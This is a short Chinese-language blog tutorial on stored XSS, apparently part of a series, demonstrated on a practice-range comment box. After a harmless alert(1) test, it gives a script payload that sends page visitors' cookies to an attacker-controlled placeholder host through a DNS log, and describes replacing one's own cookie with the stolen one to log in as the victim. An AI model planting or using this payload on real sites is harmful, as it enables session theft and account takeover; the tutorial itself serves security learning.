前言
在了解了反射型XSS相关方面的内容之后,本篇我们将继续深入了解存储型XSS,笔者将通过具体的例子讲解存储型XSS攻击的具体流程与危害。
存储型XSS
在之前的博客中我们提到过,存储型XSS是被包含在之后的HTTP请求响应中的,并且由于存储型XSS是伴随于留言评论等功能存在的,因此存储型XSS能够跟随留言内容一同被存入服务器,并且可以持续发挥作用。我们先来看一个简单的存储型XSS的例子。
最简单的存储型XSS
我们先在靶场题目提供的评论栏中写入一个最简单的XSS:< script>alert(1)< /script>:
提交后再次访问该页面发现有弹窗且弹窗内容为1,表明我们写入的XSS已经随评论一起被存进服务器:
接着查看网页源码:
可以看到我们写入的XSS已经被嵌入到网页中,之后只要有用户浏览该网页就会触发我们写入的XSS。
利用存储型XSS获得cookie
原理与上篇反射型XSS中用到的类似,都是借助DNSlog的方式来获得cookie。在评论框写入如下脚本:
< script src=“http://xxx/”+document.cookie>< /script>
当该脚本成功嵌入网页源码中时就会触发浏览器执行该XSS,而我们只需查看DNS日志即可获得受害用户的cookie,接着抓包后将cookie替换为受害用户的cookie即可登录受害用户的账号。
总结
与反射型XSS不同,由于存储型XSS可以随评论等一同存入服务器,因此可以被持续触发利用。而在获得cookie这块二者原理大致相当,都是将cookie拼接到受攻击者控制的域名中,然后通过查看DNS日志的方式获得cookie,最后修改请求包中的cookie达到冒充受害用户的目的。